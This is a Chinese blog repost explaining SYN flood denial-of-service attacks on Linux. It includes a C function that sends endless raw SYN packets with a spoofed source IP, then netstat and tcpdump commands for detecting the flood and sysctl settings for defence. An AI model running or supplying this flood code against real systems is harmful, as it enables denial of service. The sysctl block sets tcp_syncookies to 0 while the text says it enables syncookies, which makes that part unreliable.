博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
Linux下分析SYN flood***案例
阅读量:5976 次
发布时间:2019-06-20

本文共 4159 字,大约阅读时间需要 13 分钟。

近期遇到几例服务器被SYN***的问题,今天详细分析一下SYN flood***的原理,首先简单回顾一下TCP/IP三次握手的过程。

1. Host A 发送一个TCP SYNchronize 包到 Host B

2. Host B 收到 Host A的SYN
3. Host B 发送一个 SYNchronize-ACKnowledgement
4. Host A 接收到Host B的 SYN-ACK
5. Host A 发送ACKnowledge
6. Host B 接收到ACK
7.TCP socket 连接建立ESTABLISHED.
SYN flood(SYN洪水***)
在三次握手过程中,Host B发送SYN-ACK之后,收到Host A的ACK之前的TCP连接称为半连接(half-open connect).此时Host B处于SYN_RECV状态.当收到ACK后,Host B转入ESTABLISHED状态.
SYN***就是***端Host A在短时间内伪造大量不存在的伪IP地址,向Host B不断地发送SYN包,Host B回复确认包,并等待Host A的确认,由于源地址是不存在的,Host B需要不断的重发包直 至超时,这些伪造的SYN包将长时间占用未连接队列,正常的SYN请求被丢弃,目标系统运行缓慢,严重者引起网络堵塞甚至系统瘫痪。
SYN flood***是一种典型的DDos***。检测SYN***非常的方便,当你在服务器上看到大量的半连接状态时,特别是源IP地址是随机的,基本上可以断定这是一次SYN***.
我们可以用C语言写个程序模拟SYN flood***,以下为程序片段

void flood(unsigned int src_host, unsigned int dst_host, unsigned short port){    struct    {        struct iphdr ip;        struct tcphdr tcp;    } packet;                                                                        struct    {        unsigned int source_address;        unsigned int dest_address;        unsigned char placeholder;        unsigned char protocol;        unsigned short tcp_length;        struct tcphdr tcp;    } pseudo_header;    int sock, sinlen;    struct sockaddr_in sin;                                                                        packet.ip.ihl = 5;    packet.ip.version = 4;    packet.ip.tos = 0;    packet.ip.tot_len = htons(40);    packet.ip.id = getpid();    packet.ip.frag_off = 0;    packet.ip.ttl = 255;    packet.ip.protocol = IPPROTO_TCP;   packet.ip.check = 0;   packet.ip.saddr = src_host;   packet.ip.daddr = dst_host;    packet.tcp.source = getpid();    packet.tcp.dest = htons(port);   packet.tcp.seq = getpid();    packet.tcp.ack_seq = 0;    packet.tcp.res1 = 0;    packet.tcp.doff = 5;   packet.tcp.fin = 0;    packet.tcp.syn = 1;    packet.tcp.rst = 0;   packet.tcp.psh = 0;    packet.tcp.ack = 0;    packet.tcp.urg = 0;    packet.tcp.window = htons(512);   packet.tcp.check = 0;    packet.tcp.urg_ptr = 0;    sin.sin_family = AF_INET;    sin.sin_port = packet.tcp.source;    sin.sin_addr.s_addr = packet.ip.daddr;                                                                        if((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)   {                                                                                exit(1);    }                                                                       for(;;)    {        packet.tcp.source++;        packet.ip.id++;       packet.tcp.seq++;        packet.tcp.check = 0;        packet.ip.check = 0;       packet.ip.check = in_cksum((unsigned short *)&packet.ip, 20);        pseudo_header.source_address = packet.ip.saddr;        pseudo_header.dest_address = packet.ip.daddr;        pseudo_header.placeholder = 0;        pseudo_header.protocol = IPPROTO_TCP;        pseudo_header.tcp_length = htons(20);        bcopy((char *)&packet.tcp, (char *)&pseudo_header.tcp, 20);        packet.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32);       sinlen = sizeof(sin);        sendto(sock, &packet, 40, 0, (struct sockaddr *)&sin, sinlen);    }    close(sock);

在Host A上执行***程序,伪装源IP成8.8.8.8(google DNS),目标地址192.168.39.131的80端口

在Host B上netstat -an | grep  SYN_RECV可以看到产生大量SYN_RECV状态的连接

此时Host B收到包后连接为SYN_RECV状态,根据TCP/IP协议应该发送SYN_ACK回复给Host A,在Host B上使用tcpdump -i eth0 'tcp [13] & 2 =2'抓取,发现存在大量SYN_ACK状态的连接,

可惜源ip为伪装的地址,所以会超时重传。此时如有正常请求Host B的80端口,它的SYN包就会被Host B丢弃,因为半连接队列已经满了(耗尽内存以及CPU资源),从而达到***目的。

Linux kernel也提供了Syncookies 等机制来防止syn***,以下是具体修改的内核参数

# default = 5                                         net.ipv4.tcp_syn_retries = 3 # default = 5 net.ipv4.tcp_synack_retries = 3 # default = 1024 net.ipv4.tcp_max_syn_backlog = 65536 # default = 124928 net.core.wmem_max = 8388608 # default = 131071 net.core.rmem_max = 8388608 # default = 128 net.core.somaxconn = 512 # default = 20480 net.core.optmem_max = 81920 # default = 1 net.ipv4.tcp_syncookies = 0

其中net.ipv4.tcp_synack_retries, net.ipv4.tcp_syncookies, net.ipv4.tcp_max_syn_backlog 作用分别是减小SYN_ACK重传次数,启用syn cookie和增加半连接队列长度

虽然系统能在当半连接队列满时,启用syn cookie功能,但也不是可以完全防御的。因为其一,Linux kernel的协议栈本身对此类DDos***的防御效有缺陷;其二,如果说***瞬间并发量足够大,毕竟Host B的CPU、内存资源是有限的,所以一般采用专业的硬件防火墙设备。

转载地址:http://xqiox.baihongyu.com/

你可能感兴趣的文章
关于在VS2005中编写DLL遇到 C4251 警告的解决办法
查看>>
提高信息安全意识对网络勒索病毒说不
查看>>
我的友情链接
查看>>
IDE---Python IDE之Eric5在window下的安装
查看>>
Mybatis调用Oracle中的存储过程和function
查看>>
基本安装lnmp环境
查看>>
yum源资料汇总
查看>>
7、MTC与MTV,http请求介绍
查看>>
logstash消费阿里云kafka消息
查看>>
unix 环境高级编程
查看>>
MAXIMO 快速查找实现
查看>>
Oracle——条件控制语句
查看>>
第一次作业-准备篇
查看>>
day-6 and day-7:面向对象
查看>>
CSU Double Shortest Paths 湖南省第十届省赛
查看>>
webgl像机世界
查看>>
php正则怎么使用(最全最细致)
查看>>
javascript数学运算符
查看>>
LC.155. Min Stack(非优化,两个stack 同步 + -)
查看>>
交互设计[3]--点石成金
查看>>